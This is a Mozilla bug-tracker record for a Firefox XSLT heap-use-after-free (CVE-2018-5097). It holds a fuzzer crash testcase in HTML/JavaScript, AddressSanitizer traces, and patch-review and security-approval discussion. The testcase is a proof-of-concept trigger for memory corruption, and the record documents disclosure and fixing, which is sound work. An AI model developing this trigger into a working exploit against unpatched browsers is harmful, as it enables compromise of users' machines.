Closed
Bug 1387427
(CVE-2018-5097)
Opened 8 years ago
Closed 7 years ago
heap-use-after-free in txNameTest::matches
Categories
(Core :: XSLT, defect, P1)
Tracking
()
VERIFIED
FIXED
mozilla59
People
(Reporter: nils, Assigned: peterv)
References
(Depends on 1 open bug)
Details
(4 keywords, Whiteboard: [adv-main58+][adv-esr52.6+])
Attachments
(11 files, 3 obsolete files)
|
16.00 KB,
text/plain
|
Details | |
|
887 bytes,
text/html
|
Details | |
|
40.81 KB,
application/xslt+xml
|
Details | |
|
402 bytes,
text/xml
|
Details | |
|
1.13 KB,
application/xslt+xml
|
Details | |
|
20.13 KB,
application/xslt+xml
|
Details | |
|
1.22 KB,
text/html
|
Details | |
|
9.85 KB,
patch
|
smaug
:
review+
|
Details | Diff | Splinter Review |
|
25.54 KB,
patch
|
peterv
:
review+
gchang
:
approval-mozilla-beta+
gchang
:
approval-mozilla-esr52+
abillings
:
sec-approval+
|
Details | Diff | Splinter Review |
|
1.29 KB,
text/html
|
Details | |
|
25.38 KB,
patch
|
Details | Diff | Splinter Review |
The following testcase crashes the latest ASAN build of Firefox (57.0a1, BuildID=20170803031846). It requires the attached ctop.xsl, mathml.xsl, math.xml and pmathml.xsl
<script>
function start() {
o0=document;
document.documentElement.innerHTML="";;
o16=o0.createElement('iframe');
o16.src='math.xml';
o19=o0.createElement('element');
o22=document.documentElement.querySelector('*:not([id])');
document.documentElement.appendChild(o16);
o33=o0.createElement('marquee');
o33.addEventListener('DOMAttrModified',fun0);
o33.style.objectPosition='341cm';
}
function fun0() {
o16.src='javascript:window.top.fun1(document)';
o39=o0.createElement('style');
o22.appendChild(o39);
}
function fun1(a) {
o52=a;
o53=o52.querySelector('*:not([id])');
o53.id='id7';
o39.replaceWith(undefined,o19);
o79=o52.querySelector('*:not([id])');
o19.innerHTML='<script>window.top.fun2()</'+'script>';
o79.before(o22);
}
function fun2() {
o53.textContent="a";
fuzzPriv.GC();fuzzPriv.CC();fuzzPriv.GC();fuzzPriv.CC();
}
</script>
<body onload="start()"></body>
ASAN ouput:
=================================================================
==6027==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c000195f5c at pc 0x7fe871141b2e bp 0x7fffeab00210 sp 0x7fffeab00208
READ of size 4 at 0x60c000195f5c thread T0 (Web Content)
#0 0x7fe871141b2d in GetBoolFlag /home/worker/workspace/build/src/obj-firefox/dist/include/nsINode.h:1602:12
#1 0x7fe871141b2d in IsElement /home/worker/workspace/build/src/obj-firefox/dist/include/nsINode.h:440
#2 0x7fe871141b2d in isElement /home/worker/workspace/build/src/dom/xslt/xpath/txXPathTreeWalker.h:225
#3 0x7fe871141b2d in txNameTest::matches(txXPathNode const&, txIMatchContext*, bool&) /home/worker/workspace/build/src/dom/xslt/xpath/txNameTest.cpp:31
#4 0x7fe87114b2f5 in txPredicatedNodeTest::matches(txXPathNode const&, txIMatchContext*, bool&) /home/worker/workspace/build/src/dom/xslt/xpath/txPredicatedNodeTest.cpp:24:30
#5 0x7fe8711d1e86 in txStepPattern::matches(txXPathNode const&, txIMatchContext*, bool&) /home/worker/workspace/build/src/dom/xslt/xslt/txXSLTPatterns.cpp:438:30
#6 0x7fe8711b3514 in txStylesheet::findTemplate(txXPathNode const&, txExpandedName const&, txIMatchContext*, txStylesheet::ImportFrame*, txInstruction**, txStylesheet::ImportFrame**) /home/worker/workspace/build/src/dom/xslt/xslt/txStylesheet.cpp:133:45
#7 0x7fe87117045a in txApplyTemplates::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txInstructions.cpp:85:26
#8 0x7fe8711d347d in txXSLTProcessor::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txXSLTProcessor.cpp:49:21
#9 0x7fe87119ce9a in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:679:14
#10 0x7fe8711aded3 in nsTransformBlockerEvent::Run() /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:562:17
#11 0x7fe86afd64ce in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1446:14
#12 0x7fe86afdc748 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:480:10
#13 0x7fe86bdee181 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21
#14 0x7fe86bd4b64b in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10
#15 0x7fe86bd4b64b in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319
#16 0x7fe86bd4b64b in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299
#17 0x7fe87159c08f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:27
#18 0x7fe875873c77 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:882:22
#19 0x7fe86bd4b64b in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10
#20 0x7fe86bd4b64b in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319
#21 0x7fe86bd4b64b in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299
#22 0x7fe8758736e0 in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:699:34
#23 0x4eb843 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:30
#24 0x4eb843 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:285
#25 0x7fe8888e182f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291
#26 0x41d198 in _start (/home/nils/fuzzer3/firefox/firefox+0x41d198)
0x60c000195f5c is located 28 bytes inside of 128-byte region [0x60c000195f40,0x60c000195fc0)
freed by thread T0 (Web Content) here:
#0 0x4bb6cb in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:47:3
#1 0x7fe86ae71547 in SnowWhiteKiller::~SnowWhiteKiller() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2658:25
#2 0x7fe86ae7870b in FreeSnowWhite /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2846:3
#3 0x7fe86ae7870b in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3850
#4 0x7fe86ae77c23 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3671:9
#5 0x7fe86ae7b950 in nsCycleCollector_collect(nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4208:21
#6 0x7fe86dd5d77d in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /home/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1670:3
#7 0x7fe86d8a297b in nsDOMWindowUtils::CycleCollect(nsICycleCollectorListener*) /home/worker/workspace/build/src/dom/base/nsDOMWindowUtils.cpp:1410:3
#8 0x7fe86aff5bf1 in NS_InvokeByIndex /home/worker/workspace/build/src/xpcom/reflect/xptcall/md/unix/xptcinvoke_asm_x86_64_unix.S:129
#9 0x7fe86c8c91a0 in Invoke /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1996:12
#10 0x7fe86c8c91a0 in Call /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1315
#11 0x7fe86c8c91a0 in XPCWrappedNative::CallMethod(XPCCallContext&, XPCWrappedNative::CallMode) /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1282
#12 0x7fe86c8d016f in XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNativeJSOps.cpp:967:12
#13 0x7fe875d56a24 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15
#14 0x7fe875d56a24 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:469
#15 0x7fe875d3faa5 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:520:12
#16 0x7fe875d3faa5 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3064
#17 0x7fe875d26b19 in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:409:12
#18 0x7fe875d56bbc in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:487:15
#19 0x7fe875d57512 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:533:10
#20 0x7fe876751983 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2890:12
#21 0x7fe86c7eb28b in xpc::FunctionForwarder(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/xpconnect/src/ExportHelpers.cpp:315:18
#22 0x7fe875d56a24 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15
#23 0x7fe875d56a24 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:469
#24 0x7fe875d3faa5 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:520:12
#25 0x7fe875d3faa5 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3064
#26 0x7fe875d26b19 in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:409:12
#27 0x7fe875d56bbc in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:487:15
#28 0x7fe875d57512 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:533:10
#29 0x7fe876a095be in js::Wrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/Wrapper.cpp:169:12
#30 0x7fe8769bce19 in js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:359:23
#31 0x7fe8769e98a3 in js::Proxy::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:481:21
#32 0x7fe8769ec267 in js::proxy_Call(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:741:12
#33 0x7fe875d56e6c in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15
#34 0x7fe875d56e6c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:451
#35 0x7fe875d3faa5 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:520:12
#36 0x7fe875d3faa5 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3064
#37 0x7fe875d26b19 in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:409:12
#38 0x7fe875d59337 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:698:15
previously allocated by thread T0 (Web Content) here:
#0 0x4bba1c in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:3
#1 0x4ecf3d in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
#2 0x7fe8710fff27 in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:200:12
#3 0x7fe8710fff27 in nsXMLContentSink::FlushText(bool) /home/worker/workspace/build/src/dom/xml/nsXMLContentSink.cpp:772
#4 0x7fe871101bee in nsXMLContentSink::HandleEndElement(char16_t const*, bool) /home/worker/workspace/build/src/dom/xml/nsXMLContentSink.cpp:1038:3
#5 0x7fe86cbac6d1 in HandleEndElement /home/worker/workspace/build/src/parser/htmlparser/nsExpatDriver.cpp:395:26
#6 0x7fe86cbac6d1 in Driver_HandleEndElement(void*, char16_t const*) /home/worker/workspace/build/src/parser/htmlparser/nsExpatDriver.cpp:76
#7 0x7fe87367118a in doContent /home/worker/workspace/build/src/parser/expat/lib/xmlparse.c:2554:11
#8 0x7fe87366565a in contentProcessor /home/worker/workspace/build/src/parser/expat/lib/xmlparse.c:2098:27
#9 0x7fe87366565a in doProlog /home/worker/workspace/build/src/parser/expat/lib/xmlparse.c:4078
#10 0x7fe87365c0bd in prologProcessor /home/worker/workspace/build/src/parser/expat/lib/xmlparse.c:3812:10
#11 0x7fe87365c0bd in prologInitProcessor /home/worker/workspace/build/src/parser/expat/lib/xmlparse.c:3629
#12 0x7fe87365a391 in MOZ_XML_Parse /home/worker/workspace/build/src/parser/expat/lib/xmlparse.c:1530:17
#13 0x7fe86cba7897 in nsExpatDriver::ParseBuffer(char16_t const*, unsigned int, bool, unsigned int*) /home/worker/workspace/build/src/parser/htmlparser/nsExpatDriver.cpp:1012:16
#14 0x7fe86cba8b42 in nsExpatDriver::ConsumeToken(nsScanner&, bool&) /home/worker/workspace/build/src/parser/htmlparser/nsExpatDriver.cpp:1110:5
#15 0x7fe86cbb56d0 in nsParser::Tokenize(bool) /home/worker/workspace/build/src/parser/htmlparser/nsParser.cpp:1539:30
#16 0x7fe86cbb0f15 in nsParser::ResumeParse(bool, bool, bool) /home/worker/workspace/build/src/parser/htmlparser/nsParser.cpp:1056:41
#17 0x7fe86cbb68ea in nsParser::OnDataAvailable(nsIRequest*, nsISupports*, nsIInputStream*, unsigned long, unsigned int) /home/worker/workspace/build/src/parser/htmlparser/nsParser.cpp:1437:12
#18 0x7fe86b12ab5b in nsBaseChannel::OnDataAvailable(nsIRequest*, nsISupports*, nsIInputStream*, unsigned long, unsigned int) /home/worker/workspace/build/src/netwerk/base/nsBaseChannel.cpp:902:28
#19 0x7fe86b1795d4 in nsInputStreamPump::OnStateTransfer() /home/worker/workspace/build/src/netwerk/base/nsInputStreamPump.cpp:615:33
#20 0x7fe86b1782c8 in nsInputStreamPump::OnInputStreamReady(nsIAsyncInputStream*) /home/worker/workspace/build/src/netwerk/base/nsInputStreamPump.cpp:443:25
#21 0x7fe86af7115d in nsInputStreamReadyEvent::Run() /home/worker/workspace/build/src/xpcom/io/nsStreamUtils.cpp:97:20
#22 0x7fe86afa8c60 in mozilla::SchedulerGroup::Runnable::Run() /home/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:356:25
#23 0x7fe86afd64ce in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1446:14
#24 0x7fe86afdc748 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:480:10
#25 0x7fe86bdee181 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21
#26 0x7fe86bd4b64b in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10
#27 0x7fe86bd4b64b in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319
#28 0x7fe86bd4b64b in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299
#29 0x7fe87159c08f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:27
#30 0x7fe875873c77 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:882:22
#31 0x7fe86bd4b64b in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10
#32 0x7fe86bd4b64b in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319
#33 0x7fe86bd4b64b in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299
#34 0x7fe8758736e0 in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:699:34
#35 0x4eb843 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:30
#36 0x4eb843 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:285
#37 0x7fe8888e182f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/obj-firefox/dist/include/nsINode.h:1602:12 in GetBoolFlag
Shadow bytes around the buggy address:
0x0c188002ab90: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x0c188002aba0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c188002abb0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c188002abc0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x0c188002abd0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
=>0x0c188002abe0: fa fa fa fa fa fa fa fa fd fd fd[fd]fd fd fd fd
0x0c188002abf0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x0c188002ac00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c188002ac10: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c188002ac20: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x0c188002ac30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==6027==ABORTING
|
||
Updated•8 years ago
|
Group: core-security → dom-core-security
Component: DOM → XSLT
|
||
Updated•8 years ago
|
Keywords: csectype-uaf
|
||
Updated•8 years ago
|
Flags: needinfo?(peterv)
|
Assignee | |
Comment 6•8 years ago
|
||
Hmm, this somehow gets hold of the source document before the transform happens and manages to mutate it during the transform.
Flags: needinfo?(peterv)
|
||
Comment 7•8 years ago
|
||
Please let me know if you won't have time for this, Peter.
Assignee: nobody → peterv
Priority: -- → P1
|
|
Assignee | |
Comment 8•8 years ago
|
||
Yeah, I've been thinking about a way to fix this. Cloning the document before the transform would work, but might be quite bad for performance.
|
|
Assignee | |
Comment 9•8 years ago
|
||
Keywords: stale-bug
|
||
Updated•7 years ago
|
Flags: sec-bounty?
|
|
||
Comment 11•7 years ago
|
||
Is there someone else who can own this bug?
Flags: needinfo?(overholt)
Keywords: testcase
|
|
||
Comment 12•7 years ago
|
||
I've taken this to email but I'll keep my needinfo here since I haven't actually provided any info :)
|
|
||
Comment 13•7 years ago
|
||
Peter told me he's going to work on this.
Flags: needinfo?(peterv)
Flags: needinfo?(overholt)
|
|
Assignee | |
Comment 14•7 years ago
|
||
This avoids inserting the source content for the XSLT transform into the document, so script that manages to touch the document can't affect the transform.
Attachment #8925169 -
Flags: review?(bugs)
|
|
Assignee | |
Comment 15•7 years ago
|
||
This is just some cleanup after the previous patch.
Attachment #8925171 -
Flags: review?(bugs)
|
|
Assignee | |
Comment 16•7 years ago
|
||
This actually clears the array of children when we don't need it anymore.
Attachment #8925169 -
Attachment is obsolete: true
Attachment #8925169 -
Flags: review?(bugs)
Attachment #8925232 -
Flags: review?(bugs)
|
||
Comment 17•7 years ago
|
||
Comment on attachment 8925232 [details] [diff] [review]
v1.1
> nsXMLContentSink::OnTransformDone(nsresult aResult,
> nsIDocument* aResultDocument)
> {
>- NS_ASSERTION(NS_FAILED(aResult) || aResultDocument,
>- "Don't notify about transform success without a document.");
>+ MOZ_ASSERT(NS_FAILED(aResult) || aResultDocument,
>+ "Don't notify about transform success without a document.");
So, if we failed, we may not have a document, at least based on the assertion.
>+
>+ mDocumentChildren.Clear();
>
> nsCOMPtr<nsIDOMDocument> domDoc = do_QueryInterface(aResultDocument);
>
> nsCOMPtr<nsIContentViewer> contentViewer;
> mDocShell->GetContentViewer(getter_AddRefs(contentViewer));
>
> if (NS_FAILED(aResult) && contentViewer) {
> // Transform failed.
>- if (domDoc) {
>- aResultDocument->SetMayStartLayout(false);
>- // We have an error document.
>- contentViewer->SetDOMDocument(domDoc);
>- }
>- else {
>- // We don't have an error document, display the
>- // untransformed source document.
>- nsCOMPtr<nsIDOMDocument> document = do_QueryInterface(mDocument);
>- contentViewer->SetDOMDocument(document);
>- }
>+ aResultDocument->SetMayStartLayout(false);
yet here you assume aResultDocument is non-null.
What am I missing?
Is the assertion wrong or use of aResultDocument?
What happens if loading of the document fails?
Could take another quick look after those questions answered.
Attachment #8925232 -
Flags: review?(bugs) → review-
|
|
||
Comment 18•7 years ago
|
||
Comment on attachment 8925171 [details] [diff] [review]
Some cleanup v1
So those extra nsCOMPtr variables act also like kungfuDeathGrips, but as far as I see, everything should be fine without those.
Attachment #8925171 -
Flags: review?(bugs) → review+
|
|
Assignee | |
Comment 19•7 years ago
|
||
Comment on attachment 8925232 [details] [diff] [review]
v1.1
Review of attachment 8925232 [details] [diff] [review]:
-----------------------------------------------------------------
(In reply to Olli Pettay [:smaug] from comment #17)
> >- NS_ASSERTION(NS_FAILED(aResult) || aResultDocument,
> >- "Don't notify about transform success without a document.");
> >+ MOZ_ASSERT(NS_FAILED(aResult) || aResultDocument,
> >+ "Don't notify about transform success without a document.");
> So, if we failed, we may not have a document, at least based on the
> assertion.
Ugh, I think I wanted to just change this to assert aResultDocument. There's only 3 callers to OnTransformDone: http://searchfox.org/mozilla-central/source/dom/xslt/xslt/txMozillaTextOutput.cpp#97 passes |mDocument| after calling |mDocument->SetReadyStateInternal(...)|, http://searchfox.org/mozilla-central/source/dom/xslt/xslt/txMozillaXSLTProcessor.cpp#1180 passes |document| after calling |document->SetReadyStateInternal(...)|, http://searchfox.org/mozilla-central/source/dom/xslt/xslt/txMozillaXMLOutput.cpp#1074 is a bit more complicated, the txTransformNotifier is created in the txMozillaXMLOutput constructor (http://searchfox.org/mozilla-central/source/dom/xslt/xslt/txMozillaXMLOutput.cpp#66) but the txMozillaXMLOutput object and its txTransformNotifier are immediately destroyed if createResultDocument fails (http://searchfox.org/mozilla-central/source/dom/xslt/xslt/txMozillaXSLTProcessor.cpp#102), so txTransformNotifier::SignalTransformEnd can only ever be called if there is a mDocument.
> What happens if loading of the document fails?
Of which document? If the stylesheet load fails we'll end displaying an error document.
(In reply to Olli Pettay [:smaug] from comment #18)
> So those extra nsCOMPtr variables act also like kungfuDeathGrips, but as far
> as I see, everything should be fine without those.
True, but txToDocHandlerFactory::mSourceDocument is only ever set in its constructor, so as you said things should be fine.
Attachment #8925232 -
Flags: review- → review?(bugs)
|
|
||
Comment 20•7 years ago
|
||
(In reply to Peter Van der Beken [:peterv] from comment #19)
> Of which document? If the stylesheet load fails we'll end displaying an
> error document.
either.
|
|
Assignee | |
Comment 21•7 years ago
|
||
(In reply to Olli Pettay [:smaug] from comment #20)
> (In reply to Peter Van der Beken [:peterv] from comment #19)
> > Of which document? If the stylesheet load fails we'll end displaying an
> > error document.
> either.
If the source document fails to load we'll display an error document from nsXMLContentSink::ReportError.
|
|
||
Comment 22•7 years ago
|
||
Can scripts run in http://searchfox.org/mozilla-central/rev/7e090b227f7a0ec44d4ded604823d48823158c51/dom/xslt/xslt/txMozillaTextOutput.cpp#81,97 and then mDocument somehow pointing to null.
I mean, AppendChildTo could perhaps run scripts, no?
But ok, I guess we'd crash already anyhow in mDocument->SetReadyStateInternal(nsIDocument::READYSTATE_INTERACTIVE);
(and crash safely)
|
|
||
Comment 23•7 years ago
|
||
(In reply to Peter Van der Beken [:peterv] from comment #21)
> (In reply to Olli Pettay [:smaug] from comment #20)
> > (In reply to Peter Van der Beken [:peterv] from comment #19)
> > > Of which document? If the stylesheet load fails we'll end displaying an
> > > error document.
> > either.
>
> If the source document fails to load we'll display an error document from
> nsXMLContentSink::ReportError.
And we deal with mDocumentChildren in some sane way?
|
|
||
Comment 24•7 years ago
|
||
Comment on attachment 8925232 [details] [diff] [review]
v1.1
Ok, thanks for explaining the assertion. So, fix it, and r+.
This is scary stuff, IMO. Somewhat rarely used code.
Attachment #8925232 -
Flags: review?(bugs) → review+
|
|
Assignee | |
Comment 25•7 years ago
|
||
(In reply to Olli Pettay [:smaug] from comment #22)
> Can scripts run in
> http://searchfox.org/mozilla-central/rev/
> 7e090b227f7a0ec44d4ded604823d48823158c51/dom/xslt/xslt/txMozillaTextOutput.
> cpp#81,97 and then mDocument somehow pointing to null.
> I mean, AppendChildTo could perhaps run scripts, no?
Scripts could maybe run, but how would it unset mDocument?(In reply to Olli Pettay [:smaug] from comment #23)
> (In reply to Peter Van der Beken [:peterv] from comment #21)
> > (In reply to Olli Pettay [:smaug] from comment #20)
> > If the source document fails to load we'll display an error document from
> > nsXMLContentSink::ReportError.
>
> And we deal with mDocumentChildren in some sane way?
Good point, I'll just clear mDocumentChildren there too.
|
|
||
Comment 26•7 years ago
|
||
(In reply to Peter Van der Beken [:peterv] from comment #25)
> (In reply to Olli Pettay [:smaug] from comment #22)
> > Can scripts run in
> > http://searchfox.org/mozilla-central/rev/
> > 7e090b227f7a0ec44d4ded604823d48823158c51/dom/xslt/xslt/txMozillaTextOutput.
> > cpp#81,97 and then mDocument somehow pointing to null.
> > I mean, AppendChildTo could perhaps run scripts, no?
>
> Scripts could maybe run, but how would it unset mDocument?
Yeah, maybe no ways, just something to look at.
|
|
Assignee | |
Comment 27•7 years ago
|
||
With review comments taken care of.
Attachment #8926320 -
Flags: review+
|
|
Assignee | |
Updated•7 years ago
|
Attachment #8925232 -
Attachment is obsolete: true
|
|
Assignee | |
Comment 28•7 years ago
|
||
Comment on attachment 8926320 [details] [diff] [review]
v1.1
[Security approval request comment]
How easily could an exploit be constructed based on the patch?
Not very easily I think.
Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
I don't think so.
Which older supported branches are affected by this flaw?
I think this affects all supported branches.
If not all supported branches, which bug introduced the flaw?
All supported branches.
Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
The backports should be fairly trivial.
How likely is this patch to cause regressions; how much testing does it need?
Regression risk for XSLT should be small, there's also a small risk for non-XSLT regressions, since the change affects XML loading in general.
Attachment #8926320 -
Flags: sec-approval?
|
|
||
Comment 29•7 years ago
|
||
Sec-approval for checkin on 11/28 or immediately after (two weeks into the new cycle). Don't check it in before then.
status-firefox58:
--- → affected
status-firefox-esr52:
--- → affected
tracking-firefox58:
--- → +
tracking-firefox-esr52:
--- → ?
|
|
||
Updated•7 years ago
|
Attachment #8926320 -
Flags: sec-approval? → sec-approval+
|
|
||
Updated•7 years ago
|
Whiteboard: [checkin on 11/28]
|
|
||
Comment 30•7 years ago
|
||
https://hg.mozilla.org/integration/mozilla-inbound/rev/45412efc0aff9b0ba6efe75ba379b90f3d94d99b
https://hg.mozilla.org/integration/mozilla-inbound/rev/ae0c53b70e5e30a8c66714584604cdedd888eed0
status-firefox59:
--- → affected
tracking-firefox59:
--- → ?
Flags: in-testsuite?
Keywords: stale-bug
Whiteboard: [checkin on 11/28]
|
|
||
Comment 31•7 years ago
|
||
Backed out for crashtest assertions.
https://hg.mozilla.org/integration/mozilla-inbound/rev/4c21482abcb09306831ba5333d248c887d44bec0
https://treeherder.mozilla.org/logviewer.html#?job_id=148253774&repo=mozilla-inbound
Flags: needinfo?(peterv)
|
|
Assignee | |
Comment 32•7 years ago
|
||
https://hg.mozilla.org/integration/mozilla-inbound/rev/b069f99a8ca9989f277645bbadc2116dcabd8ad0
Bug 1387427 - Don't insert source content into the document for XSLT transforms. r=smaug.
https://hg.mozilla.org/integration/mozilla-inbound/rev/853c2a64f47e6f55e6e99e0b91cef02e1a5b103a
Bug 1387427 - Use nsINode/nsIDocument more. r=smaug.
|
|
||
Comment 33•7 years ago
|
||
https://hg.mozilla.org/mozilla-central/rev/853c2a64f47e
https://hg.mozilla.org/mozilla-central/rev/b069f99a8ca9
Target Milestone: --- → mozilla59
|
||
Updated•7 years ago
|
|
|
||
Comment 34•7 years ago
|
||
